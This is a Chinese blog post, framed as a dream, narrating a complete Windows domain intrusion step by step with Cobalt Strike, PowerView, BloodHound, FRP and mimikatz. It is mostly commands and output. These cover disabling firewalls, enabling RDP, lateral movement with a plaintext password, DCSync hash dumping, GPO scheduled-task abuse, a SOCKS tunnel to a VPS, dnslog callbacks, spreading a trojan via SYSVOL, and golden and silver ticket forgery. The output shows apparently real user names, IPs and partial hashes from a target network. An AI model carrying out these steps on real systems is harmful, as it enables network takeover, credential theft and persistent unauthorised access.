本文主要站在一个萌新的角度,通过在梦中构建虚拟的渗透场景,结合<<内网安全攻防渗透测试指南>>一书内容,记录下常规域渗透的流程和过程中遇到的问题,以及自己的一些思考。
梦中的主人公小七已经通过一个小手段获得了一个机器的system控制权限,接下来将从0开始从第一人称的角度记录下小七的渗透思路。
1.查看当前网络
ipconfig /all
通过这个命令,我可以获取到一些下面比较有用的信息:
hostname:pohxxadc
dns. : pohxx.com
IPv4 Address. . . . . . . . . . . : 192.168.1.36(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
DNS Servers . . . . . . . . . . . : 192.168.1.35
4.2.2.2
8.8.8.8
2.查询操作系统和版本信息
英文版
systeminfo | findstr /b /c:"OS Name" /c:"OS Version"
中文版
systeminfo | findstr /b /c:"OS 名称" /c:"OS 版本"
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
通过确定系统版本能够帮助我们确定使用什么工具和这台机器的基本角色
查询架构AMD或者x86..
echo %processor_architecture%
[+] received output:
x86
3.查看安装的软件及版本、路径等
wmic product get name,version
Name Version
Microsoft Office 2003 Web Components 12.0.6213.1000
Microsoft Application Error Reporting 12.0.6015.5000
Python 3.7.4 Standard Library (64-bit) 3.7.4150.0
VNC Server 5.3.3 5.3.3.31513
... 感觉挺多东西的,后面回顾寻找突破点可以多看看这个。
4.查询本机服务信息
wmic service list brief
ExitCode Name ProcessId StartMode State Status
0 ADWS 1516 Auto Running OK
0 AeLookupSvc 0 Manual Stopped OK
0 AlertService 1556 Auto Running OK
1077 ALG 0 Manual Stopped OK
0 AppHostSvc 1600 Auto Running OK
1077 AppIDSvc 0 Manual Stopped OK
.. 可以针对Running和Auto来排查下有没有可疑的服务。
5.查询进程列表
tasklist /svc
wmic process list brief
可以通过查询相关网址,判断是否存在杀软
http://ddoslinux.com/windows/index.php
http://payloads.net/kill_software/
6.查看启动程序信息
wmic startup get command, caption
[+] received output:
No Instance(s) Available.这里没发现存在启动程序,没啥问题
7.查询计划任务
schtasks /query /fo list /v
可以看到这个机器上面计划任务非常多,我只是粗略看了下,暂时没太多问题,后面没思路会考虑来这里继续仔细分析,看看有没有入侵的痕迹之类的,用来替换提权也不错。
8.查看主机开机时间
net statistics workstation
Statistics since 03-12-2020 07:25:32
估计重启也没多久
9.查询用户列表
net user
ior4 itadmin italert
iuer_server Jana Javith
kaarthik karthikeyan krbtgt
lab1 lab2 mahendran
mahendranm maintenance maintenance2
manikandan Manikandan.RS marketing
MarketingGM md mrd1
ms NS nursing1
nursing2 nursing3 nursing4...这里是不是感觉很奇怪看到了krbtgt,我们难道在域控的机器上?
还有itadmin,先记录下
net localgroup administrators
(获取本地管理员,通常包含域用户信息)
Administrator
Domain Admins
Enterprise Admins
Guest
itadmin
italert
iuer_server...
shell query user || qwinsta
查看当前在线的用户
10.列出或断开本地计算机与所连接的客户端之间的会话
net session
[+] received output:
There are no entries in the list.
11.查询端口列表
netstat -ano
beacon> shell netstat -ano | findstr ":53" [*] Tasked beacon to run: netstat -ano | findstr ":53" [+] host called home, sent: 71 bytes [+] received output: TCP 0.0.0.0:53533 0.0.0.0:0 LISTENING 4 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1720 TCP 192.168.1.36:53 0.0.0.0:0 LISTENING 1720 TCP [::]:53533 [::]:0 LISTENING 4 TCP [::1]:53 [::]:0 LISTENING 1720 UDP 0.0.0.0:5355 *:* 760 UDP 127.0.0.1:53 *:* 1720 UDP 192.168.1.36:53 *:* 1720 UDP [::1]:53 *:* 1720
像我一般会关注下53端口,3389之类的,8530是更新服务
12.查看补丁列表
systeminfo
这个可以复制信息到下面网址看看那些没修,主要用来exp提权
https://bugs.hacking8.com/tiquan/
http://blog.neargle.com/win-powerup-exp-index/
wmic qfe get Caption,Description,HotFixID,InstalledOn
这个可以查看具体的补丁安装信息,有需要就see see
13.查询本机共享列表
net share
查看本机的共享列表和可访问的域共享列表(域共享很多时候是相同的)
使用wmic命令查找共享列表,具体如下
wmic share get name,path,status
14.查询路由表及所有可用接口的ARP缓存表
route print
打印路由表,可以看到当前可以访问的网络范围
IPv4 Route Table =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.36 266 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
arp -a
查看arp表,可以看到历史的arp记录,获取到mac地址和可arp的访问到的ip。
Internet Address Physical Address Type
192.168.1.1 00-1a-8c-XX-0b-a4 dynamic
192.168.1.2 00-23-24-XX-XX-d3 dynamic
15.查询防火墙相关配置
(1) 关闭防火墙
window server 2003及之前版本,命令如下:
netsh firewall set opmode disable
window server 2003之后的版本:
netsh advfirewall set allprofiles state off
(2)查看防火墙配置
netsh firewall show config
Port configuration for Standard profile:
3389 TCP Enable Inbound Remote Desktop
3306 TCP Enable Inbound Port 3306
8888 TCP Enable Inbound COSEC WEB
11000 TCP Enable Inbound COSEC DEVICE
3306 TCP Enable Inbound mysqlport像我一般会关注下IN的端口,这里说明有3306数据库和8888web应用
允许3389端口放行:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
16.查看代理配置情况
查看IE代理配置
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
(我个人觉得没啥用)
17.查询并开启远程连接服务
(1)查看远程连接端口
reg query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
PortNumber REG_DWORD 0xd3d十六机制:0xd3d->十进制:3389
(2)在windows Server 2003 开启3389端口
wmic /namespace:\\root\CIMV2\TerminalServices PATH Win32_TerminalServiceSetting WHERE (__CLASS !="") CALL SetAllowTSConnections 1
(3)在Window Server 2008 和 Windows Server2012 开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
书本介绍了wmic和Empire,我个人看了下感觉不是很好用。
Ladon GetInfo Ladon GetInfo2
可以考虑用下工具,自带了图形化插件,比较方便,支持的功能也很多。Ladon
不过我感觉这种集成化的信息收集其实作用不是很好,1.比较容易触发流量的报警 2.不可控的未知操作也有可能导致留下痕迹 3.收集时间消耗成本比较高 4.不能完全保证信息的准确性。
好处也显而易见就是方便。
综合来说,我个人建议将这个只是作为备选方案。
1.使用ipconfig命令
ipconfig /all
DNS Suffix Search List. . . . . . : poxpl.xxx
Default Gateway . . . . . . . . . : 192.168.1.1
DNS Servers . . . . . . . . . . . : 192.168.1.35
4.2.2.2
8.8.8.8
然后通过执行 nslookup domain
进行反向解析,确定DNS服务器的ip地址
Server: pohxerver.poxpl.com
Address: 192.168.1.35Name: poxpl.com
Addresses: 192.168.1.35
192.168.1.36
一般默认没有域的网关ip会和dnsip一致,同时dns的名字为localdomain之类的,不会跟域名一样。
2.systeminfo
Domain: poxpl.xxx
Domain(域)如果为workgroup 则代表不存在域,否则存在poxpl.xxx
域环境
3.查询当前登录域及登录用户信息
net config workstation
Software version Windows Server 2012 R2 Standard
Workstation domain POxPL
Workstation Domain DNS Name poxpl.xxx
Logon domain poxpl
其中如果Workstation domain (工作站域)如果为workgroup则代表不存在域环境,否则说明存在POxPL域
其中Logon domain(登录域) 表名当前登录的用户是域用户
4.判断主域
net time /domain:指定查询指定域(POx POxPL)
因为域服务器通常会作为时间服务器来使用
System error 5 has occurred.
Access is denied.
这个点有点奇怪,按道理来说这种情况说明存在域,但当前用户不是域用户。(有可能是这个机子同时作为两个域的域控原因导致出错了,等待师傅解答原因)
但是通过查询指定域,发现会显的是PHXPL这个域的结果,反正挺奇怪的。
还有其他两种情况就是:
(1) 存在域,且当前用户是域用户
[+] received output:
Current time at \POxSERVER.poXpl.XXX is 11-12-2020 11:33:31The command completed successfully.
这里就很明显了直接返回时间服务器的结果。
(2)不存在域
找不到域 WORKGROUP 的域控制器。
请键入 NET HELPMSG 3913 以获得更多的帮助。
下面的查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询时需要进行权限认证,只有域用户用户才拥有此权限,本地用户则无法进行域信息的查询。在域中,除普通用户外,所有的机器都有一个机器用户,其用户名为机器名加上"$"。system权限对应的就是域里面的机器用户,所以域内机器的system权限拥有查询的权限。
1.查询所处的域
net view /domain
[+] received output:
Domain
POX
POXPL
The command completed successfully.
这里说明当前处于双域环境下
2.查询域内所有计算机
net view /domain:(可选指定域)
\MRD01
\NAS1-VC NAS1-VC
\NAS2 NAS2
\NURSINGDLX01-PC
\NURSTN01
\NURSUPR... Remark 有一定的作用,可以说明这个机器的用途
还有就是使用cs自带的net view
命令
POXXLADC 169.254.137.125 500 6.3 BDC
POXSERVER 192.168.1.X 500 6.3 PDC POxSERVER
里面有个属性是Type, BDC->BackUP DOMAIN CONTROLLER PDC->PRIMARY ~
3.查询域内所有用户组列表
net group /domain
Group Accounts for \POxPLADC
1 NUR USER1 NUS IC
3 NUR IC3 NUR USERS
*Accounts
... 比较多,这里我们需要注意和学习是系统自带的常见用户身份
- Domain Admins:域管理员
- Domain Computer: 域内机器
- Domain Controller:域控制器
- Domain Guest:域用户
- Enterprise Admins:企业系统管理员用户
在默认情况下Domain Admins和Enterprise Admin对域内所有域空盒子器有完全控制权限*
4.查询所有域成员的计算机列表
net group "domain computers" /domain
5.获取域密码信息
net account domain
[+] received output:
Force user logoff how long after time expires?: Never
Minimum password age (days): 1
Maximum password age (days): 42
Minimum password length: 7
Length of password history maintained: 24
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: BACKUP
The command completed successfully.
这里设置了密码不会过期,密码的长度信息,后面如果想爆破可以作为一个参考。
6.获取域信任信息
nltest /domain_trusts
List of domain trusts:
0: POXPL poXpl.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully
说明没有存在多域信任关系。
1.从域控制器查询获取域控制器的列表
nltest /dclist:domain
Get list of DCs in domain 'POXPL' from '\POXSERVER'.
Cannot DsBind to POXPL (\POXSERVER).Status = 2148074274 0x80090322 SEC_E_WRONG_PRINCIPAL[+] received output:
List of DCs in Domain POHPL
\POXSERVER (PDC)
\POXPLADC
The command completed successfully
这里说明存在两个域控制器。
2.查看域控制器主机名
nslookup -type=SRV_ldap._tcp
Default Server: poXsXrver.poXpl.com
Address: 192.168.1.X
3.查看当前时间
net time /domain
一般为域控
4.查看域控制器
net group "Domain Controllers" /domain
itadmin mahendran POXADC$ POXPLADC$ POXSERVER$
关于带"$"就是域控机器名,可以ping获取到ip地址。
1.查询所有域用户列表
net user /domain
这里可以稍微关注一下一个特殊用户krbtgt,用于加密tgs。
2.获取域内用户详细信息
常见参数包括用户名、描述信息、SID、域名、状态
wmic useraccount get /all
3.查看存在的用户
dsquery user
这个命令我没执行成功。
4.查询本地管理员用户
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domainMembers
Administrator
king
POXPL\CASUALTY USERS
POXPL\casualty1
POXPL\casualty2
POXPL\casualty3
POXPL\Domain Admins
POXPL\mahendran
POXPL\mahendranm
The command completed successfully.
Domain Admins组中的用户默认为域内机器的本地管理员用户。在实际应用中,为了方便管理,会有域用户被设置为域机器的本地管理员用户。
5.查询域管理员组
net group "Domain admins" /domain
Group name Domain Admins
Comment Designated administrators of the domainMembers
Administrator Aravind mahendran
Thiag_67
The command completed successfully.
可以看到这里存在4个域管账户
6.查询管理员用户组
net group "Enterprise Admins" /domain
Members
Administrator itadmin italert
mahendran mahendranm Rkumar
ssk
可以看到存在权限非常高的企业管理员组中有7个用户属于该组。
定位域内管理员常规渠道: 1.日志 2.会话
日志是指本地机器的管理员日志,可以使用脚本活Wevtuil工具导出并查看
会话是指域内每台机器的登录会话,可以使用netsess.exe或者PowerView工具查询(可以匿名查询,不需要权限)。
这里方法有很多,这里我只介绍我最常用的一种: PowerView
这里需要介绍下它的优缺点。
Invoke-StealUserHunter
: 只需要进行一次查询,就可以获取域里面的所有用户。使用方法为,从user.HomeDirectories中提取所有用户,并对每台机器能Get-NetSessions获取。因为不需要使用Invoke-UserHunter对每台机器进行操作,所以这个方法隐蔽性相对较高(但涉及的机器不一定全面)。PowerView默认使用Invoke-StealthUserHunter,如果找不到需要的信息,就使用Invoke-UserHunter。
Invoke-UserHunter
:找到域内特定的用户群,接收用户名、用户列表和域组查询,接收一个主机列表或查询可用域名。它可以使用Get-NetSessions 和 Get-NetLoggedon(调用NetSessionEnum和NetWkstaUserEnum API)扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,在使用时不需要管理员权限*
CS4.0下导入powerview
powershell-import /Volumes/windowSSD/后渗透/PowerSploit/Recon/PowerView.ps1
powershell Invoke-UserHunter
output:
UserDomain :
UserName : Administrator
ComputerName : POxSxRVER.poxpl.com
SessionFrom : 192.168.1.112
SessionFromName : acc04.poxpl.com
LocalAdmin :UserDomain :
UserName : mahendran
ComputerName : POHSxRVER.poxpl.com
SessionFrom : 192.168.1.82
SessionFromName : poxpl074.poxpl.com
LocalAdmin :...
可以看到82和112有机器用域管账户登陆了域控。
同理可以利用针对特定目标简单获取
Get-NetSession
获取会话
Get-NetLoggedon
获取已经登陆过的用户
附上一个常用用法:
Get-NetDomain: 获取当前用户所在域的名称
Get-NetUser: 获取所有用户的详细信息
Get-NetDomainController: 获取所有域控制器的信息
Get-NetComputer: 获取域内所有机器的详细信息
Get-NetOU: 获取域中的OU信息
Get-NetGroup: 获取所有域内组和组成员信息
Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息
Get-NetShare: 获取当前域内所有网络共享信息
Get-NetSession: 获取指定服务器的会话
Get-NetRDPSession: 获取指定服务器的远程连接
Get-NetProcess: 获取远程主机的进程
Get-UserEvent: 获取指定用户的日志
Get-ADObiect: 获取活动目录的对象
Get-NetGPO: 获取域内所有的组策略对象
Get-DomainPolicy: 获取域默认策略或域控制器策略
Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户
Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。
假设我们存在一个场景:
我们已经获得了一个域普通用户的权限,然后我们通过提权或者其他方式获得了本地的管理员权限,然后分析当前服务器的用户登录列表及会话信息,知道了哪些用户登录了这台服务器。但是我们发现可以获取权限的登录用户都不是域管理员账户,同时没有域管理员中的用户登陆过这台机器。我们可以使用获得的其他用户并寻找该账户在内网的哪台机器上具有管理权限,再枚举这台机器上的登录用户,然后继续渗透测试,直至找到一个可以获取域管理员权限的有效路径为止。
1.本机检查
这个比较简单,我们直接执行tasklist /svc
比对net group "Domain Admins" /domain
显然当前进程用户不在里面。
如果能找到那么我们就可以直接拿下域控了,事情往往没有那么简单。
2. 查询域控制器中域用户会话
感觉书里面写的怪怪的,很多东西重复了很多次,也有可能是我不理解,下面说一下我自己的操作吧。
先获取到域控制器列表
net group "Domain Controllers" /domain
然后在获取域管理员列表
net group "Domain Admins" /domain
然后收集所有域控制会话列表然后与域管理员做一个交叉就可以确定域管理员存在的机器了。(感觉是上一节的内容)
3.枚举用户是否为本地管理员
单线程枚举
Get-DomainComputer | Test-AdminAccess
多线程枚举
Find-LocalAdminAccess -Verbose
通过查看域组策略的方式来确定
Get-DomainGPOComputerLocalGroupMapping
Get-DomainGPOLocalGroup
通过查询域内所有机器本地的管理员来对比:
Invoke-EnumerateLocalAdmin
如果是的话,直接横向过去,然后继续搜索凭据,然后查看有没有管理员,没有就继续获取当前机器的用户账号,继续这种操作。
然后直接横向过去吧。jump psexec POHPL073 http
,杀软没过,那就执行命令。
cscript //nologo WMIHACKER_0.6.vbs /cmd POHPL073 POHPL\ior1 "ior$123" "whoami" 1
这里不知道为啥登录成功了。却返回这个错误信息:
C:\Windows\temp\WMIHACKER_0.6.vbs(60, 3) SWbemLocator: Access is denied.
后面采取了sharpexec来用
execute-assembly /Volumes/windowSSD/后渗透/SharpExec/release/SharpExec.exe -m=wmi -i=192.168.1.194 -d=pohpl -u=ior1 -p=ior$123 -e=C:\Windows\System32\cmd.exe -c="/c ping 7XXx.dnslog.cn"
后面就是重复操作了,就像深度搜索一样寻找域管的凭据的路径。。。最终在一台机器上找到了域管的进程
然后steal_token伪造域管令牌,然后直接dcsync dump下全部hash。
其实我也在其他机器上抓到了域管的hash然后解密出了域管的明文密码,这个是属于比较常见的拿下域控的方式。
这个工具比较强大,也比较快,想找个机会分析它是怎么实现的。
下面简单看看我概括的介绍。
BloodHound是一款免费的工具。一方面,BloodHound通过图与线的形式,将域内的用户、计算机、组、会话、ACL以及域内所有的相关用户、组、计算机、登录信息、访问控制策略、之间的关系,直观地展现在Red Team成员面前,为他们更快捷地分析域内情况、更快速地在域内提升权限提供条件。省略蓝队内容~~.BloodHound使用图形理论,在活动目录环境中自动理清大部分人员之间的关系和细节,可以快速、深入地了解活动目录中用户之间的关系,获取哪些用户具有管理员权限、哪些用户对所有的计算机都具有管理员权限、哪些用户是有效的用户组成员等信息。
BloodHound 可以在域内导出相关信息,然后导入本地的neo4j数据库,并进行展示和分析。neo4j是一款NoSQL图形数据库,它将结构化数据存储在网络内而不是表中。BloodHoud正是利用Neo4j的这种特性,通过合理的分析,直观地以节点空间的形式表达相关数据的。Neo4j拥有自己的查询语言Cypher Query Language,因为其是非关系数据库,所以,要想在其中进行查询,需要使用其特有的语法。
不过问题不大,默认有12种比较贴心的功能。
1.使用bloodHound收集信息
1.使用本机收集
execute-assembly /Volumes/windowSSD/后渗透/BloodHound/Ingestors/SharpHound.exe -all
2.使用指定账号查询
execute-assembly /Volumes/windowSSD/后渗透/BloodHound/Ingestors/SharpHound.exe --domaincontroller 192.168.1.37 --ldapusername 0 --ldappassword 0 --domain poxpl.xxx
2.Neo4j加载压缩包
Enumeration finished in 00:00:56.7099642
Compressing data to .\2020121xx74110_BloodHound.zip
download BloodHound.zip
即可。
里面有个Queries功能有个Find Shortest Paths to Domain Admins
,其实有一定的参考价值。可以试试。
这里可以看到Domain User组对COSEC
GPO有GnericWrite权限,然后该GPO能够作用于域管账户。
也就是说我们只要拥有一个域用户的就可以对Administrator这个域用户对象进行自定义组策略,这倒是一个有意思的拿下域管的思路。
Get-DomainGPO -ComputerIdentity pohpl -Properties Name, DisplayName
先列出GPO目录
给GPO添加计划任务执行命令。
Add-UserTask -GPOIdentity 'COSEC' -TaskName 'eviltask' -Command 'cmd.exe' -CommandArguments "/c ping %username%.5x1f.dnslog.cn" -Author Administrator
不过这个计划任务必须要要Administrator登录才行,因为作用是用户而不是机器,纯粹拿来试试手,学习bd的最短路径,确实有一定的合理性。
只要登录就轻轻松松拿下域管权限,问题不大。
最后手动清除计划任务即可。
关于GPO的滥用,后面有机会的话,我会在学习约束资源委派的时候跟你们分享。
这个主要是关于书中的第三章-隐藏通信隧道技术。
一般的网络通信,主要是两台机器之间通过建立TCP连接,然后进行正常的数据通信。在知道IP地址的情况下,可以之间发送报文,不知道ip地址则需要将域名解析成ip地址。在实际的网络中,通常会通过各种边界设备,软/硬件防火墙甚至入侵检测系统来检查对外连接的情况,如果发现异常,就会对通信进行阻断。
什么是隧道? 这里的隧道就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数包类型或端口进行封装,然后穿过防火墙,与对方通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到对应的服务器上。
常用隧道列举如下:
- 网络层:IPV6隧道,ICMP隧道,GRE隧道
- 传输层:TCP隧道, UDP隧道,常规端口转发
- 应用层: SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道
下面会展示部分利用各种隧道的操作,这里就不便进行专题展开。
1.判断内网连通性
(1)ICMP 协议
执行命令ping ip
,执行成功则支持
(2)tcp协议
这个默认都支持吧,没啥好说的
(3)http协议
window下推荐
shell certutil -urlcache -split -f http://k2wx21.dnslog.cn
Online
CertUtil: -URLCache command FAILED: 0x80072efd (WIN32: 12029)
CertUtil: A connection with the server could not be established
window高版本及其linux
1.curl k2w421.dnslog.cn
2.wget k2w421.dnslog.cn
(4)dns协议
一般我也是直接ping如果可以解析域名说明dns是通的。
下面这两个操作建议你用自己的域名试试能不能解析即可。
window
nslookup www.baidu.com @8.8.8.8
linux
dig @114.114.114.114 www.baidu.com
这里书本介绍了一个有趣的情况,就是在常见的企业办公网段上网的场景,流量不能直接流出,需要使用内网中的代理服务器,这个其实有点类似于NAT的思想.
常用判断方法如下:
1.查看网络连接,判断是否存在于其他机器的8080(不绝对)等端口的连接
2.查看内网中是否有主机名类似于"proxy" 的机器
3.查看IE浏览器的直接代理
总体来说这种方法利用起来有一定的局限性。
回到我们的主题上,因为我的cs是http反弹回 来的,所以肯定是支持应用层http的协议的。
2.利用FRP搭建稳定的socks5代理隧道
VPS端:
1.下载最新版frp的
wget https://github.com/fatedier/frp/releases/download/v0.34.3/frp_0.34.3_linux_amd64.tar.gz
2.解压
tar -xzvf frp_0.34.3_linux_amd64.tar.gz
3.配置frps.ini
[common]
bind_port = 14500
token = fuck0ox
4.启动程序
./frps -c frps.ini
客户端:
1.配置frpc.ini
[common]
server_addr = 101.x.x.x
server_port = 14500
token = fuck0ox
tls_enable = true
[http_proxy]
type = tcp
remote_port = 16005
plugin = socks5
正常启动即可。
上面我们已经通过一些小手段拿下了域控,并且做好了稳定网络,下面就开始我们的小旅程吧。
这个时候就可以放开点手脚啦,端口扫描之类的开起来。
可以先简单收集下80、8080端口,查看下内网存放的服务,有没有跟我们目标有关的。
portscan 192.168.1.0/24 80,443,8080
然后把开放的端口,丢进httpx快速扫描下,看看有没有相关的内容。
终端开个代理:
export all_proxy=socks5://198.xx.xx.xx:16005
好像效果不是很行,最后还是上了proxychains4
开启httpx的扫描:
cat target.txt | proxychains4 httpx -threads 10 -content-length -follow-redirects
发现有很多用了Hikvision的摄像头,然后后面就是根据返回的数据包挑选一些站点来看看。
最终简单看了下一些站点:
还有一个呼叫中心的东西,整体来说这个内网还行吧。
...一般简单试了几个小弱口令,反正内网里面都很薄弱的啦。。。
...
关于怎么找自己的目标,这个就属于后渗透的技巧了,这个就是体力活了,没啥好写的,简单看看自己没啥好弄的,就此打住。
关于这个批量上线,也就小型目标的时候好用点,大型目标不推荐,这样你的cs会直接死掉的。
操作比较简单,不多赘述。
1.通过下发GPO针对指定OU的机器和用户进行打击
2.通过域管账户批量执行命令即可。
3.上传木马到开放的UNC路径,或者放在sysol的域共享文件夹下。
4.cs的pth直接上线,不过当前域环境有部分机子存在卡巴斯基,所以服务直接被拦截了(后面有机会可以写写针对卡巴斯基的一些对抗想法)
...
这里简单演示下第3种思路吧。
上传到SYSVOL目录下:
\\POXSXXVER\sysvol\poXpl.com\1.bat
然后批量执行:
(2)wmic可以执行但是没有回显
wmic /node:192.168.1.x process call create "cmd /c \\POxxERVER\sysvol\poxpl.com\1.bat"
remote-exec wmi 192.168.1.x whoami
CS上线的话只需要一个过掉卡巴斯基的马就行了,直接执行就ok了。
这里主要是根据书本第8章-权限维持分析及防御中的8.3节来扩展展开。
这里我只讲3个我比较感兴趣的,因为这三个我比较喜欢用啦,还有其他很多方式,不过我还没开始研究,后面如果有机会自己也可以写出来与各位交流下,共同寻找些比较有效的方式。
因为在渗透的过程中,我突然发现我用的域管账号pth失败,经过net user itadmin /domain
发现
管理员登录然后修改了这个密码。这个时候下面两种方式能很好应对这种情况。
在域环境中,存在一个SID为502的域账号krbtgt。krbtgt是KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户的账号票据都是由krbtgt生成的,如果攻击者拿到了krbtgt的NTLM Hash或者AES-256的值,就可以伪造域内任意用户的身份,并以该用户的身份访问其服务。
使用域的Golden Ticket(黄金票据)进行票据传递攻击时,通常需要掌握以下信息:
1.导出krbtgt的NTLM Hash
mimikatz @lsadump::dcsync /domain:pohpl.com /user:krbtgt
2.获取域SID
wmic useraccount get name,sid
Guest S-1-5-21-291403081-3947339614-192785736-501
krbtgt S-1-5-21-291403081-3947339614-192785736-502
这里可以确定域的SID:S-1-5-21-291403081-3947339614-192785736
krbtgt的sid:502
3.查询域管理员账号
net group "domain admins" /domain
这里我选择伪造:Aravind
4.查询域名
ipconfig /all
获取到fqdn
5.查看当前票据并且清空
1.klist
2.klist purge
3.mimikatz @kerberos::purge
6.生成票据
mimikatz @kerberos::golden /admin:Aravind /domain:poxpl.com /sid:S-1-5-21-291403081-3947339614-192785736 /krbtgt:2cc650xxxxxxxxx568fe0f71b01ca /ticket:"Aravind.kiribi"
其实用aes 256也可以:
/krbtgt: -> /aes256:即可
执行完本地会生成一个Aravind.kiribi
名字的文件
7.传递票据并注入内存
mimikatz @kerberos::ptt Aravind.kiribi
8.检索当前会话中的票据
mimikatz @kerberos::tgt
这个时候就代表注入成功啦,后面可以去验证下,是否有访问域控制器的权限了。
这个我用的其实比较少.还是介绍一下吧。
Silver Ticket不用于Golden Ticket。Silver Ticket的利用过程是伪造TGS,通过已知的授权的服务密码生成一张可以访问该服务的TGT。因为在票据生成的过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要由kdc颁发TGT,并且在生成伪造的TGT的20分钟内,TGS不会对该TGT的真伪进行检验。
Silver Ticket 依赖于服务账号的密码散列值,这不同于Golden Ticket利用需要使用krbtgt账号的密码散列值,因此更加隐蔽。
Golden Ticket使用krbtgt账号的密码散列值,利用伪造的高权限的TGT向KDC要求颁发拥有任意服务器访问权限的票据,从而获取域控制器权限。而Silver Ticket会通过相应的服务账号来伪造TGS,例如LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。
黄金和白银最明显的区别就是:
Golden Ticket是使用krbtgt账号hash加密的,而Silver Ticket是由特定的服务账号加密的。
攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息:
这里得说说服务账号的概念(我个人理解也不是很到位)
在域中,域用户可以提供服务,计算机账号也可以提供服务。因为域中的SPN只注册在用户(Users) 和 计算机(Computers)下,其中SPN是将服务实例与服务登录账户关联的。
查询所有服务账号:
setspn -T DOMAINNAME -F -Q */*
下面演示下伪造CIFS的服务票据
Common Internet File System (CIFS) is a network filesystem protocol used for providing shared access to files and printers between machines on the network.
1.获取cifs的服务账户
dcsync poXXl.com PXSERVER$
18825f30f26d1b776be64aaae7fa8f27
2.清空票据
klist purge
3.伪造票据
mimikatz @kerberos::golden /domain:poxl.com /sid:-1-5-21-291403081-3947339614-192785736 /target:POxxRVER.pohpl.com /service:cifs /rc4:18825f30f26d1b77xxx4aaae7fa8f27 /user:Aravind /ptt
4.验证权限
这个我尝试的时候发现并没有成功,可能是有其他kdc的签名验证之类,或者是机器的hash不对吧?(*)
后面我再本地再进行实验一下。
如果想修改成其他服务也很简单
/service:LDAP
不知不觉间,已经早上12点了,我睁开了惺忪的双眼,梦中的一切仿佛就是真实发生过一样。这个时候QQ弹起了来自默安的小伙伴@低危表演艺术家给我发的信息,"2021年了,你还是那么菜?",我才明白,菜才是最大的真实orz,以后还是要加强内网方面知识的学习。